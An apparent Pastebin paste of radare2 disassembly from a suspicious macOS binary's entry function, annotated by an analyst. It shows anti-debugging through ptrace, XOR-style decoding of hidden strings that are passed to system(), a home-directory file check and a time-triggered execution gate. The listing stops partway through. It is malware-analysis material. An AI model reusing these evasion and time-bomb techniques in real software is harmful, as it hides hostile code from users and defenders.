SHARE
TWEET

Untitled

a guest Jun 2nd, 2017 17 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (fcn) entry0 3910
  2. │   entry0 ();
  3. │           ; var int local_474ah @ rbp-0x474a
  4. │           ; var int local_474eh @ rbp-0x474e
  5. │           ; var int local_4732h @ rbp-0x4732
  6. │           ; var int local_4240h @ rbp-0x4240
  7. │           ; var int local_426ch @ rbp-0x426c
  8. │           ; var int local_4270h @ rbp-0x4270
  9. │           ; var int local_4280h @ rbp-0x4280
  10. │           ; var int local_424ch @ rbp-0x424c
  11. │           ; var int local_4250h @ rbp-0x4250
  12. │           ; var int local_4260h @ rbp-0x4260
  13. │           ; var int local_38f0h @ rbp-0x38f0
  14. │           ; var int local_3900h @ rbp-0x3900
  15. │           ; var int local_3910h @ rbp-0x3910
  16. │           ; var int local_3920h @ rbp-0x3920
  17. │           ; var int local_3930h @ rbp-0x3930
  18. │           ; var int local_3940h @ rbp-0x3940
  19. │           ; var int local_3950h @ rbp-0x3950
  20. │           ; var int local_3960h @ rbp-0x3960
  21. │           ; var int local_3970h @ rbp-0x3970
  22. │           ; var int local_3980h @ rbp-0x3980
  23. │           ; var int local_3990h @ rbp-0x3990
  24. │           ; var int local_39a0h @ rbp-0x39a0
  25. │           ; var int local_39b0h @ rbp-0x39b0
  26. │           ; var int local_39c0h @ rbp-0x39c0
  27. │           ; var int local_39d0h @ rbp-0x39d0
  28. │           ; var int local_39e0h @ rbp-0x39e0
  29. │           ; var int local_39f0h @ rbp-0x39f0
  30. │           ; var int local_3a00h @ rbp-0x3a00
  31. │           ; var int local_3a10h @ rbp-0x3a10
  32. │           ; var int local_3a20h @ rbp-0x3a20
  33. │           ; var int local_3a30h @ rbp-0x3a30
  34. │           ; var int local_3a40h @ rbp-0x3a40
  35. │           ; var int local_10d1h @ rbp-0x10d1
  36. │           ; var int local_10d5h @ rbp-0x10d5
  37. │           ; var int local_10ddh @ rbp-0x10dd
  38. │           ; var int local_cbch @ rbp-0xcbc
  39. │           ; var int local_cc0h @ rbp-0xcc0
  40. │           ; var int local_cd0h @ rbp-0xcd0
  41. │           ; var int local_c84h @ rbp-0xc84
  42. │           ; var int local_c88h @ rbp-0xc88
  43. │           ; var int local_c90h @ rbp-0xc90
  44. │           ; var int local_ca0h @ rbp-0xca0
  45. │           ; var int local_cb0h @ rbp-0xcb0
  46. │           ; var int local_4800h @ rbp-0x4800
  47. │           ; var int local_47f0h @ rbp-0x47f0
  48. │           ; var int local_47e0h @ rbp-0x47e0
  49. │           ; var int local_47d0h @ rbp-0x47d0
  50. │           ; var int local_47c0h @ rbp-0x47c0
  51. │           ; var int local_47b0h @ rbp-0x47b0
  52. │           ; var int local_47a0h @ rbp-0x47a0
  53. │           ; var int local_4790h @ rbp-0x4790
  54. │           ; var int local_4780h @ rbp-0x4780
  55. │           ; var int local_c80h @ rbp-0xc80
  56. │           ; var int local_1094h @ rbp-0x1094
  57. │           ; var int local_1098h @ rbp-0x1098
  58. │           ; var int local_10a0h @ rbp-0x10a0
  59. │           ; var int local_10b0h @ rbp-0x10b0
  60. │           ; var int local_10c0h @ rbp-0x10c0
  61. │           ; var int local_10d0h @ rbp-0x10d0
  62. │           ; var int local_28h @ rbp-0x28
  63. │           ; var int local_4748h @ rbp-0x4748
  64. │           ; var int local_4740h @ rbp-0x4740
  65. │           ; var int local_4758h @ rbp-0x4758
  66. │           ; var int local_4768h @ rbp-0x4768
  67. │           ; var int local_4744h @ rbp-0x4744
  68. │           ; var int local_4760h @ rbp-0x4760
  69. │           ; var int local_471ch @ rbp-0x471c
  70. │           ; var int local_4720h @ rbp-0x4720
  71. │           ; var int local_4730h @ rbp-0x4730
  72. │           ; var int local_4700h @ rbp-0x4700
  73. │           ; var int local_4710h @ rbp-0x4710
  74. │           ; var int local_4731h @ rbp-0x4731
  75. │           ; var int local_4733h @ rbp-0x4733
  76. │           ; var int local_4694h @ rbp-0x4694
  77. │           ; var int local_4698h @ rbp-0x4698
  78. │           ; var int local_46a0h @ rbp-0x46a0
  79. │           ; var int local_46b0h @ rbp-0x46b0
  80. │           ; var int local_46c0h @ rbp-0x46c0
  81. │           ; var int local_46d0h @ rbp-0x46d0
  82. │           ; var int local_46e0h @ rbp-0x46e0
  83. │           ; var int local_46f0h @ rbp-0x46f0
  84. │           ; var int local_36f8h @ rbp-0x36f8
  85. │           ; var int local_3700h @ rbp-0x3700
  86. │           ; var int local_3710h @ rbp-0x3710
  87. │           ; var int local_3720h @ rbp-0x3720
  88. │           ; var int local_3730h @ rbp-0x3730
  89. │           ; var int local_3740h @ rbp-0x3740
  90. │           ; var int local_3750h @ rbp-0x3750
  91. │           ; var int local_3760h @ rbp-0x3760
  92. │           ; var int local_3770h @ rbp-0x3770
  93. │           ; var int local_3780h @ rbp-0x3780
  94. │           ; var int local_3790h @ rbp-0x3790
  95. │           ; var int local_37a0h @ rbp-0x37a0
  96. │           ; var int local_37b0h @ rbp-0x37b0
  97. │           ; var int local_37c0h @ rbp-0x37c0
  98. │           ; var int local_37d0h @ rbp-0x37d0
  99. │           ; var int local_37e0h @ rbp-0x37e0
  100. │           ; var int local_37f0h @ rbp-0x37f0
  101. │           ; var int local_3800h @ rbp-0x3800
  102. │           ; var int local_3810h @ rbp-0x3810
  103. │           ; var int local_3820h @ rbp-0x3820
  104. │           ; var int local_3830h @ rbp-0x3830
  105. │           ; var int local_3840h @ rbp-0x3840
  106. │           ; var int local_3850h @ rbp-0x3850
  107. │           ; var int local_3860h @ rbp-0x3860
  108. │           ; var int local_3870h @ rbp-0x3870
  109. │           ; var int local_3880h @ rbp-0x3880
  110. │           ; var int local_4735h @ rbp-0x4735
  111. │           ; var int local_830h @ rbp-0x830
  112. │           ; var int local_871h @ rbp-0x871
  113. │           ; var int local_875h @ rbp-0x875
  114. │           ; var int local_87dh @ rbp-0x87d
  115. │           ; var int local_430h @ rbp-0x430
  116. │           ; var int local_858h @ rbp-0x858
  117. │           ; var int local_860h @ rbp-0x860
  118. │           ; var int local_870h @ rbp-0x870
  119. │           ; var int local_840h @ rbp-0x840
  120. │           ; var int local_850h @ rbp-0x850
  121. │           ; var int local_4680h @ rbp-0x4680
  122. │           ; var int local_4681h @ rbp-0x4681
  123. │           ; var int local_4683h @ rbp-0x4683
  124. │           ; var int local_468bh @ rbp-0x468b
  125. │           ; var int local_3890h @ rbp-0x3890
  126. │           ; var int local_38a0h @ rbp-0x38a0
  127. │           ; var int local_38b0h @ rbp-0x38b0
  128. │           ; var int local_38c0h @ rbp-0x38c0
  129. │           ; var int local_38d0h @ rbp-0x38d0
  130. │           ; var int local_3e1ch @ rbp-0x3e1c
  131. │           ; var int local_3e20h @ rbp-0x3e20
  132. │           ; var int local_3e30h @ rbp-0x3e30
  133. │           ; var int local_3e40h @ rbp-0x3e40
  134. │           ; var int local_38dah @ rbp-0x38da
  135. │           ; var int local_38dch @ rbp-0x38dc
  136. │           ; var int local_38e0h @ rbp-0x38e0
  137. │           ; var int local_4770h @ rbp-0x4770
  138. │           ; var int local_30h @ rbp-0x30
  139. │              ; CALL XREF from 0x100000fe0 (entry0)
  140. │           0x100000fe0      55             push rbp                   ; section 0 va=0x100000fe0 pa=0x00000fe0 sz=6213 vsz=6213 rwx=m-r-x 0.__TEXT.__text deny debugger attackes, get actual time, decode blob 1
  141. │           0x100000fe1      4889e5         mov rbp, rsp
  142. │           0x100000fe4      4157           push r15
  143. │           0x100000fe6      4156           push r14
  144. │           0x100000fe8      4155           push r13
  145. │           0x100000fea      4154           push r12
  146. │           0x100000fec      53             push rbx
  147. │           0x100000fed      4881ecd84700.  sub rsp, 0x47d8
  148. │           0x100000ff4      4989f5         mov r13, rsi
  149. │           0x100000ff7      4189fe         mov r14d, edi
  150. │           0x100000ffa      488b05ff1f00.  mov rax, qword [reloc.__stack_chk_guard_0] ; [0x100003000:8]=0
  151. │           0x100001001      488b00         mov rax, qword [rax]
  152. │           0x100001004      488945d0       mov qword [local_30h], rax
  153. │           0x100001008      31ff           xor edi, edi               ; time_t *timer
  154. │           0x10000100a      e8f5180000     call sym.imp.time          ; time_t time(time_t *timer)
  155. │           0x10000100f      48898590b8ff.  mov qword [local_4770h], rax
  156. │           0x100001016      488dbd90b8ff.  lea rdi, [local_4770h]     ; const time_t *timer
  157. │           0x10000101d      e882180000     call sym.imp.localtime     ; tm*localtime(const time_t *timer)
  158. │           0x100001022      31ff           xor edi, edi               ; const char * path
  159. │           0x100001024      be0a000000     mov esi, 0xa               ; int oflag
  160. │           0x100001029      e828180000     call sym.imp.dlopen        ; int open(const char *path, int oflag)
  161. │           0x10000102e      4889c3         mov rbx, rax
  162. │           0x100001031      c78520c7ffff.  mov dword [local_38e0h], 0x61727470
  163. │           0x10000103b      66c78524c7ff.  mov word [local_38dch], 0x6563
  164. │           0x100001044      c68526c7ffff.  mov byte [local_38dah], 0
  165. │           0x10000104b      488db520c7ff.  lea rsi, [local_38e0h]
  166. │           0x100001052      4889df         mov rdi, rbx
  167. │           0x100001055      e802180000     call sym.imp.dlsym
  168. │           0x10000105a      bf1f000000     mov edi, 0x1f
  169. │           0x10000105f      31f6           xor esi, esi
  170. │           0x100001061      31d2           xor edx, edx
  171. │           0x100001063      31c9           xor ecx, ecx
  172. │           0x100001065      ffd0           call rax
  173. │           0x100001067      4889df         mov rdi, rbx
  174. │           0x10000106a      e8e1170000     call sym.imp.dlclose       ; int close(int fildes)
  175. │           0x10000106f      0f28052a1a00.  movaps xmm0, xmmword [0x100002aa0] ; section.3.__TEXT.__const ; [0x100002aa0:16]=-1 ; "*\xcf\xea\x94-\xda\xb9\x9f.\x98\xf4\x98=\xd3\xf5\x8b>\xc4\xfc\x87y\xfb\xf8\x94y\x88\xb9\xd8=\xd3\xef\xd8<\xd5\xf1\x98y\x92\xb1\xdf9\xc5\xe0\x84:\xc2\xf5\xd7t\xd8\xb9\x9f.\x98\xf5\x98>\xdf\xfa\x965\xd5\xe9\x829\x99\xf9\x84 \xc5\xfa\x835\x96\xb4\x99y\xde\xee\xd9)\xde\xe0\x840\xd5\xf8\x9b:\xc6\xec\x97p\x9f\xe5\x90+\xd3\xe9\xd7k\x96\xa7\xd7v\xd2\xfc\x81v\xd8\xec\x9bm\x87\xac\xc3i\x82\xaf\xc7m\x87\xa0\xc6o\x85\xa0\xc4:\xd9\xf4\xd98\xc6\xe9\x9b<\x98\xff\x9e7\xd2\xfc\x85|\xc5\xbc\x94\x15\xdf\xfb\x858\xc4\xe0\xd2:\xfa\xf8\x82x\x96\xe9\x90+\xd3\xe9\xd7t\xce\xb9\xd9\x1f\xe5\xc6\xa4-\xd9\xeb\x92y\x90\xbf\xd7'\x99\xd5\x9e;\xc4\xf8\x85|\xc5\xb6\xbb0\xd4\xeb\x96+\xcf\xb6\xd9\x1f\xe5\xc6\xa4y\x96\xb9\xd7e\xc6\xf5\x9e*\xc2\xb9\x81<\xc4\xea\x9e6\xd8\xa4\xd5h\x98\xa9\xd5g\xbc\xb9\xd7y\x96\xa5\x930\xd5\xed\xc9S\x96\xb9\xd7y\x8a\xf2\x92 \x88\xd5\x96;\xd3\xf5\xcbv\xdd\xfc\x8eg\xbc\xb9\xd7y\x96\xa5\x84-\xc4\xf0\x99>\x88\xbc\x84e\x99\xea\x83+\xdf\xf7\x90g\xbc\xb9\xd7y\x96\xa5\x9c<\xcf\xa7\xa4-\xd7\xeb\x83\x10\xd8\xed\x92+\xc0\xf8\x9be\x99\xf2\x92 \x88\x93\xd7y\x96\xb9\xcb0\xd8\xed\x92>\xd3\xeb\xc9h\x84\xa9\xcbv\xdf\xf7\x83<\xd1\xfc\x85g\xbc\xb9\xd7y\x96\xa5\x9c<\xcf\xa7\xa5,\xd8\xd8\x83\x15\xd9\xf8\x93e\x99\xf2\x92 \x88\x93\xd7y\x96\xb9\xcb-\xc4\xec\x92v\x88\x93\xd7y\x96\xb9\xcb2\xd3\xe0\xc9\t\xc4\xf6\x90+\xd7\xf4\xb6+\xd1\xec\x9a<\xd8\xed\x84e\x99\xf2\x92 \x88\x93\xd7y\x96\xb9\xcb8\xc4\xeb\x96 \x88\x93\xd7y\x96\xb9\xcb*\xc2\xeb\x9e7\xd1\xa7\x958\xc5\xf1\xcbv\xc5\xed\x850\xd8\xfe\xc9S\x96\xb9\xd7y\x8a\xea\x83+\xdf\xf7\x90g\x9b\xfa\xcbv\xc5\xed\x850\xd8\xfe\xc9S\x96\xb9\xd7y\x8a\xea\x83+\xdf\xf7\x90g\x93\xea\xcbv\xc5\xed\x850\xd8\xfe\xc9S\x96\xb9\xd7y\x8a\xb6\x96+\xc4\xf8\x8eg\xbc\xb9\xd7y\x96\xa5\xd8=\xdf\xfa\x83g\xbc\xb9\xd7y\x96\xa5\xd8)\xda\xf0\x84-\x88\x93\xd7y\x96\xb9\xf75\xd7\xec\x99:\xde\xfa\x835\x96\xb9\x85<\xdb\xf6\x815\xd7\xec\x99:\xde\xfa\x835\x96\xb9\xd75\xd9\xf8\x93\x1d"
  176. │           0x100001076      0f2985c0c1ff.  movaps xmmword [local_3e40h], xmm0
  177. │           0x10000107d      0f28052c1a00.  movaps xmm0, xmmword [0x100002ab0] ; [0x100002ab0:16]=-1
  178. │           0x100001084      0f2985d0c1ff.  movaps xmmword [local_3e30h], xmm0
  179. │           0x10000108b      c785e0c1ffff.  mov dword [local_3e20h], 0x9bf5c337
  180. │           0x100001095      c685e4c1ffff.  mov byte [local_3e1ch], 0
  181. │           0x10000109c      488dbdc0c1ff.  lea rdi, [local_3e40h]
  182. │           0x1000010a3      e8880e0000     call func.homemade.decode_buffer
  183. │           0x1000010a8      4889c7         mov rdi, rax
  184. │           0x1000010ab      e84e180000     call sym.imp.system        ; int system(const char *string)
  185. │           0x1000010b0      85c0           test eax, eax
  186. │       ┌─< 0x1000010b2      0f854d0a0000   jne 0x100001b05
  187. │       │   0x1000010b8      0f2805011a00.  movaps xmm0, xmmword [0x100002ac0] ; [0x100002ac0:16]=-1 ; decode more mini buffers
  188. │       │   0x1000010bf      0f298520c7ff.  movaps xmmword [local_38e0h], xmm0
  189. │       │   0x1000010c6      0f2805031a00.  movaps xmm0, xmmword [0x100002ad0] ; [0x100002ad0:16]=-1
  190. │       │   0x1000010cd      0f298530c7ff.  movaps xmmword [local_38d0h], xmm0
  191. │       │   0x1000010d4      0f2805051a00.  movaps xmm0, xmmword [0x100002ae0] ; [0x100002ae0:16]=-1
  192. │       │   0x1000010db      0f298540c7ff.  movaps xmmword [local_38c0h], xmm0
  193. │       │   0x1000010e2      0f2805071a00.  movaps xmm0, xmmword [0x100002af0] ; [0x100002af0:16]=-1
  194. │       │   0x1000010e9      0f298550c7ff.  movaps xmmword [local_38b0h], xmm0
  195. │       │   0x1000010f0      0f2805091a00.  movaps xmm0, xmmword [0x100002b00] ; [0x100002b00:16]=-1
  196. │       │   0x1000010f7      0f298560c7ff.  movaps xmmword [local_38a0h], xmm0
  197. │       │   0x1000010fe      66c78570c7ff.  mov word [local_3890h], 0x6c ; 'l'
  198. │       │   0x100001107      488dbd20c7ff.  lea rdi, [local_38e0h]
  199. │       │   0x10000110e      e81d0e0000     call func.homemade.decode_buffer
  200. │       │   0x100001113      4889c7         mov rdi, rax               ; const char * string
  201. │       │   0x100001116      e8e3170000     call sym.imp.system        ; int system(const char *string)
  202. │       │   0x10000111b      85c0           test eax, eax
  203. │      ┌──< 0x10000111d      0f85e2090000   jne 0x100001b05
  204. │      ││   0x100001123      31ff           xor edi, edi               ; int seed srand by some weird thing
  205. I don't want to write a
  206. Nasty one-liner
  207. I'm going to GUESS r14d is argc
  208. │      ││   0x100001125      e8da170000     call sym.imp.time          ; time_t time(time_t *timer)
  209. │      ││   0x10000112a      4889c1         mov rcx, rax
  210. │      ││   0x10000112d      48ba89888888.  movabs rdx, 0x8888888888888889
  211. │      ││   0x100001137      48f7ea         imul rdx
  212. │      ││   0x10000113a      4801ca         add rdx, rcx               ; '&'
  213. │      ││   0x10000113d      4889d0         mov rax, rdx
  214. │      ││   0x100001140      48c1e83f       shr rax, 0x3f
  215. │      ││   0x100001144      48c1ea05       shr rdx, 5
  216. │      ││   0x100001148      8d3c02         lea edi, [rdx + rax]
  217. │      ││   0x10000114b      e890170000     call sym.imp.srand         ; void srand(int seed)
  218. │      ││   0x100001150      4183fe01       cmp r14d, 1
  219. │     ┌───< 0x100001154      0f851c070000   jne 0x100001876
  220. │     │││   0x10000115a      e83f170000     call sym.imp.getuid        ; check if home directory exists ; uid_t getuid(void)
  221. │     │││   0x10000115f      89c7           mov edi, eax
  222. │     │││   0x100001161      e832170000     call sym.imp.getpwuid
  223. │     │││   0x100001166      4c8b7030       mov r14, qword [rax + 0x30] ; [0x30:8]=0x4f52 ; '0' ; "RO"
  224. │     │││   0x10000116a      48b87cc5b6b3.  movabs rax, 0x83f2c53cb3b6c57c
  225. │     │││   0x100001174      48898575b9ff.  mov qword [local_468bh], rax
  226. │     │││   0x10000117b      66c7857db9ff.  mov word [local_4683h], 0x706f
  227. │     │││   0x100001184      c6857fb9ffff.  mov byte [local_4681h], 0
  228. │     │││   0x10000118b      488dbd75b9ff.  lea rdi, [local_468bh]
  229. │     │││   0x100001192      e8990d0000     call func.homemade.decode_buffer
  230. │     │││   0x100001197      4889c1         mov rcx, rax
  231. │     │││   0x10000119a      488dbd80b9ff.  lea rdi, [local_4680h]     ; char *s
  232. │     │││   0x1000011a1      be00000000     mov esi, 0                 ; const char*
  233. │     │││   0x1000011a6      ba00040000     mov edx, 0x400             ; ...
  234. │     │││   0x1000011ab      31c0           xor eax, eax
  235. │     │││   0x1000011ad      4d89f0         mov r8, r14
  236. │     │││   0x1000011b0      e871160000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  237. │     │││   0x1000011b5      4d8b6500       mov r12, qword [r13]
  238. │     │││   0x1000011b9      0f2805601900.  movaps xmm0, xmmword [0x100002b20] ; [0x100002b20:16]=-1
  239. │     │││   0x1000011c0      0f2985b0f7ff.  movaps xmmword [local_850h], xmm0
  240. │     │││   0x1000011c7      c685c0f7ffff.  mov byte [local_840h], 0
  241. │     │││   0x1000011ce      488dbdb0f7ff.  lea rdi, [local_850h]
  242. │     │││   0x1000011d5      e8560d0000     call func.homemade.decode_buffer
  243. │     │││   0x1000011da      4989c7         mov r15, rax
  244. │     │││   0x1000011dd      0f28054c1900.  movaps xmm0, xmmword [0x100002b30] ; [0x100002b30:16]=-1
  245. │     │││   0x1000011e4      0f298590f7ff.  movaps xmmword [local_870h], xmm0
  246. │     │││   0x1000011eb      48b837d5f1b6.  movabs rax, 0x83f7d33eb6f1d537
  247. │     │││   0x1000011f5      488985a0f7ff.  mov qword [local_860h], rax
  248. │     │││   0x1000011fc      66c785a8f7ff.  mov word [local_858h], 0x73 ; 's'
  249. │     │││   0x100001205      488dbd90f7ff.  lea rdi, [local_870h]
  250. │     │││   0x10000120c      e81f0d0000     call func.homemade.decode_buffer
  251. │     │││   0x100001211      4889c1         mov rcx, rax
  252. │     │││   0x100001214      4883ec08       sub rsp, 8
  253. │     │││   0x100001218      4c8dadd0fbff.  lea r13, [local_430h]
  254. │     │││   0x10000121f      be00000000     mov esi, 0                 ; const char*
  255. │     │││   0x100001224      ba00040000     mov edx, 0x400             ; ...
  256. │     │││   0x100001229      41b92f000000   mov r9d, 0x2f              ; '/' ; "ERO"
  257. │     │││   0x10000122f      31c0           xor eax, eax
  258. │     │││   0x100001231      4c89ef         mov rdi, r13               ; char *s
  259. │     │││   0x100001234      4d89f0         mov r8, r14
  260. │     │││   0x100001237      6a2f           push 0x2f                  ; '/' ; '/' ; "ERO"
  261. │     │││   0x100001239      e8e8150000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  262. │     │││   0x10000123e      4883c410       add rsp, 0x10
  263. │     │││   0x100001242      48b87cc5bc94.  movabs rax, 0x87b7c57c94bcc57c
  264. │     │││   0x10000124c      48898583f7ff.  mov qword [local_87dh], rax
  265. │     │││   0x100001253      c7858bf7ffff.  mov dword [local_875h], 0x83eadf35
  266. │     │││   0x10000125d      c6858ff7ffff.  mov byte [local_871h], 0
  267. │     │││   0x100001264      488dbd83f7ff.  lea rdi, [local_87dh]
  268. │     │││   0x10000126b      e8c00c0000     call func.homemade.decode_buffer
  269. │     │││   0x100001270      4889c1         mov rcx, rax
  270. │     │││   0x100001273      4883ec08       sub rsp, 8
  271. │     │││   0x100001277      488d9dd0f7ff.  lea rbx, [local_830h]
  272. │     │││   0x10000127e      31f6           xor esi, esi               ; const char*
  273. │     │││   0x100001280      ba00040000     mov edx, 0x400             ; ...
  274. │     │││   0x100001285      41b92f000000   mov r9d, 0x2f              ; '/' ; "ERO"
  275. │     │││   0x10000128b      31c0           xor eax, eax
  276. │     │││   0x10000128d      4889df         mov rdi, rbx               ; char *s
  277. │     │││   0x100001290      4d89e8         mov r8, r13
  278. │     │││   0x100001293      4157           push r15
  279. │     │││   0x100001295      e88c150000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  280. │     │││   0x10000129a      4883c410       add rsp, 0x10
  281. │     │││   0x10000129e      31f6           xor esi, esi
  282. │     │││   0x1000012a0      4889df         mov rdi, rbx
  283. │     │││   0x1000012a3      e88a150000     call sym.imp.access
  284. │     │││   0x1000012a8      85c0           test eax, eax
  285. │    ┌────< 0x1000012aa      0f8564080000   jne 0x100001b14
  286. │    ││││   0x1000012b0      31ff           xor edi, edi               ; time_t *timer check current time vs planned execution time
  287. I can nop this in the dynamic analysis
  288. │    ││││   0x1000012b2      e84d160000     call sym.imp.time          ; time_t time(time_t *timer)
  289. │    ││││   0x1000012b7      4989c7         mov r15, rax
  290. │    ││││   0x1000012ba      488d9d20c7ff.  lea rbx, [local_38e0h]
  291. │    ││││   0x1000012c1      4889df         mov rdi, rbx               ; time_t *timer
  292. │    ││││   0x1000012c4      e83b160000     call sym.imp.time          ; time_t time(time_t *timer)
  293. │    ││││   0x1000012c9      4889df         mov rdi, rbx               ; const time_t *timer
  294. │    ││││   0x1000012cc      e8d3150000     call sym.imp.localtime     ; tm*localtime(const time_t *timer)
  295. │    ││││   0x1000012d1      c74014750000.  mov dword [rax + 0x14], 0x75 ; 'u' ; [0x75:4]=84 ; 'u' ; "T"
  296. │    ││││   0x1000012d8      0f2805011a00.  movaps xmm0, xmmword [0x100002ce0] ; [0x100002ce0:16]=-1
  297. │    ││││   0x1000012df      0f114004       movups xmmword [rax + 4], xmm0
  298. │    ││││   0x1000012e3      4889c7         mov rdi, rax               ; tm *timeptr
  299. │    ││││   0x1000012e6      e8cb150000     call sym.imp.mktime        ; time_t mktime(tm *timeptr)
  300. │    ││││   0x1000012eb      4939c7         cmp r15, rax
  301. │   ┌─────< 0x1000012ee      0f8c1e0c0000   jl 0x100001f12
  302. │   │││││   0x1000012f4      be01000000     mov esi, 1                 ; it is time to execute order 66 r12 is argv[0], AKA current program's name
  303. │   │││││   0x1000012f9      4c89e7         mov rdi, r12
  304. │   │││││   0x1000012fc      e831150000     call sym.imp.access
  305. │   │││││   0x100001301      85c0           test eax, eax
  306. │  ┌──────< 0x100001303      0f85130c0000   jne 0x100001f1c
  307. │  ││││││   0x100001309      48b87cc5b6d9.  movabs rax, 0xb6dce406d9b6c57c
  308. │  ││││││   0x100001313      48898583f7ff.  mov qword [local_87dh], rax
  309. │  ││││││   0x10000131a      c7858bf7ffff.  mov dword [local_875h], 0xa8dcfb1d
  310. │  ││││││   0x100001324      c6858ff7ffff.  mov byte [local_871h], 0
  311. │  ││││││   0x10000132b      488dbd83f7ff.  lea rdi, [local_87dh]
  312. │  ││││││   0x100001332      e8f90b0000     call func.homemade.decode_buffer
  313. │  ││││││   0x100001337      4889c1         mov rcx, rax
  314. │  ││││││   0x10000133a      4c8dadd0fbff.  lea r13, [local_430h]
  315. │  ││││││   0x100001341      4c8d8580b9ff.  lea r8, [local_4680h]
  316. │  ││││││   0x100001348      be00000000     mov esi, 0                 ; const char*
  317. │  ││││││   0x10000134d      ba00040000     mov edx, 0x400             ; ...
  318. │  ││││││   0x100001352      31c0           xor eax, eax
  319. │  ││││││   0x100001354      4c89ef         mov rdi, r13               ; char *s
  320. │  ││││││   0x100001357      e8ca140000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  321. │  ││││││   0x10000135c      66c785cbb8ff.  mov word [local_4735h], 0x77 ; 'w'
  322. │  ││││││   0x100001365      488db5cbb8ff.  lea rsi, [local_4735h]     ; const char*
  323. │  ││││││   0x10000136c      4c89ef         mov rdi, r13               ; const char * filename
  324. │  ││││││   0x10000136f      e800150000     call sym.imp.fopen         ; file*fopen(const char *filename,
  325. │  ││││││   0x100001374      4889c3         mov rbx, rax
  326. │  ││││││   0x100001377      0f2805721900.  movaps xmm0, xmmword [0x100002cf0] ; [0x100002cf0:16]=-1
  327. │  ││││││   0x10000137e      0f298520c7ff.  movaps xmmword [local_38e0h], xmm0
  328. │  ││││││   0x100001385      0f2805741900.  movaps xmm0, xmmword [0x100002d00] ; [0x100002d00:16]=-1
  329. │  ││││││   0x10000138c      0f298530c7ff.  movaps xmmword [local_38d0h], xmm0
  330. │  ││││││   0x100001393      0f2805761900.  movaps xmm0, xmmword [0x100002d10] ; [0x100002d10:16]=-1
  331. │  ││││││   0x10000139a      0f298540c7ff.  movaps xmmword [local_38c0h], xmm0
  332. │  ││││││   0x1000013a1      0f2805781900.  movaps xmm0, xmmword [0x100002d20] ; [0x100002d20:16]=-1
  333. │  ││││││   0x1000013a8      0f298550c7ff.  movaps xmmword [local_38b0h], xmm0
  334. │  ││││││   0x1000013af      0f28057a1900.  movaps xmm0, xmmword [0x100002d30] ; [0x100002d30:16]=-1
  335. │  ││││││   0x1000013b6      0f298560c7ff.  movaps xmmword [local_38a0h], xmm0
  336. │  ││││││   0x1000013bd      0f28057c1900.  movaps xmm0, xmmword [0x100002d40] ; [0x100002d40:16]=-1
  337. │  ││││││   0x1000013c4      0f298570c7ff.  movaps xmmword [local_3890h], xmm0
  338. │  ││││││   0x1000013cb      0f28057e1900.  movaps xmm0, xmmword [0x100002d50] ; [0x100002d50:16]=-1
  339. │  ││││││   0x1000013d2      0f298580c7ff.  movaps xmmword [local_3880h], xmm0
  340. │  ││││││   0x1000013d9      0f2805801900.  movaps xmm0, xmmword [0x100002d60] ; [0x100002d60:16]=-1
  341. │  ││││││   0x1000013e0      0f298590c7ff.  movaps xmmword [local_3870h], xmm0
  342. │  ││││││   0x1000013e7      0f2805821900.  movaps xmm0, xmmword [0x100002d70] ; [0x100002d70:16]=-1
  343. │  ││││││   0x1000013ee      0f2985a0c7ff.  movaps xmmword [local_3860h], xmm0
  344. │  ││││││   0x1000013f5      0f2805841900.  movaps xmm0, xmmword [0x100002d80] ; [0x100002d80:16]=-1
  345. │  ││││││   0x1000013fc      0f2985b0c7ff.  movaps xmmword [local_3850h], xmm0
  346. │  ││││││   0x100001403      0f2805861900.  movaps xmm0, xmmword [0x100002d90] ; [0x100002d90:16]=-1
  347. │  ││││││   0x10000140a      0f2985c0c7ff.  movaps xmmword [local_3840h], xmm0
  348. │  ││││││   0x100001411      0f2805881900.  movaps xmm0, xmmword [0x100002da0] ; [0x100002da0:16]=-1
  349. │  ││││││   0x100001418      0f2985d0c7ff.  movaps xmmword [local_3830h], xmm0
  350. │  ││││││   0x10000141f      0f28058a1900.  movaps xmm0, xmmword [0x100002db0] ; [0x100002db0:16]=-1
  351. │  ││││││   0x100001426      0f2985e0c7ff.  movaps xmmword [local_3820h], xmm0
  352. │  ││││││   0x10000142d      0f28058c1900.  movaps xmm0, xmmword [0x100002dc0] ; [0x100002dc0:16]=-1
  353. │  ││││││   0x100001434      0f2985f0c7ff.  movaps xmmword [local_3810h], xmm0
  354. │  ││││││   0x10000143b      0f28058e1900.  movaps xmm0, xmmword [0x100002dd0] ; [0x100002dd0:16]=-1
  355. │  ││││││   0x100001442      0f298500c8ff.  movaps xmmword [local_3800h], xmm0
  356. │  ││││││   0x100001449      0f2805901900.  movaps xmm0, xmmword [0x100002de0] ; [0x100002de0:16]=-1
  357. │  ││││││   0x100001450      0f298510c8ff.  movaps xmmword [local_37f0h], xmm0
  358. │  ││││││   0x100001457      0f2805921900.  movaps xmm0, xmmword [0x100002df0] ; [0x100002df0:16]=-1
  359. │  ││││││   0x10000145e      0f298520c8ff.  movaps xmmword [local_37e0h], xmm0
  360. │  ││││││   0x100001465      0f2805941900.  movaps xmm0, xmmword [0x100002e00] ; [0x100002e00:16]=-1
  361. │  ││││││   0x10000146c      0f298530c8ff.  movaps xmmword [local_37d0h], xmm0
  362. │  ││││││   0x100001473      0f2805961900.  movaps xmm0, xmmword [0x100002e10] ; [0x100002e10:16]=-1
  363. │  ││││││   0x10000147a      0f298540c8ff.  movaps xmmword [local_37c0h], xmm0
  364. │  ││││││   0x100001481      0f2805981900.  movaps xmm0, xmmword [0x100002e20] ; [0x100002e20:16]=-1
  365. │  ││││││   0x100001488      0f298550c8ff.  movaps xmmword [local_37b0h], xmm0
  366. │  ││││││   0x10000148f      0f28059a1900.  movaps xmm0, xmmword [0x100002e30] ; [0x100002e30:16]=-1
  367. │  ││││││   0x100001496      0f298560c8ff.  movaps xmmword [local_37a0h], xmm0
  368. │  ││││││   0x10000149d      0f28059c1900.  movaps xmm0, xmmword [0x100002e40] ; [0x100002e40:16]=-1
  369. │  ││││││   0x1000014a4      0f298570c8ff.  movaps xmmword [local_3790h], xmm0
  370. │  ││││││   0x1000014ab      0f28059e1900.  movaps xmm0, xmmword [0x100002e50] ; [0x100002e50:16]=-1
  371. │  ││││││   0x1000014b2      0f298580c8ff.  movaps xmmword [local_3780h], xmm0
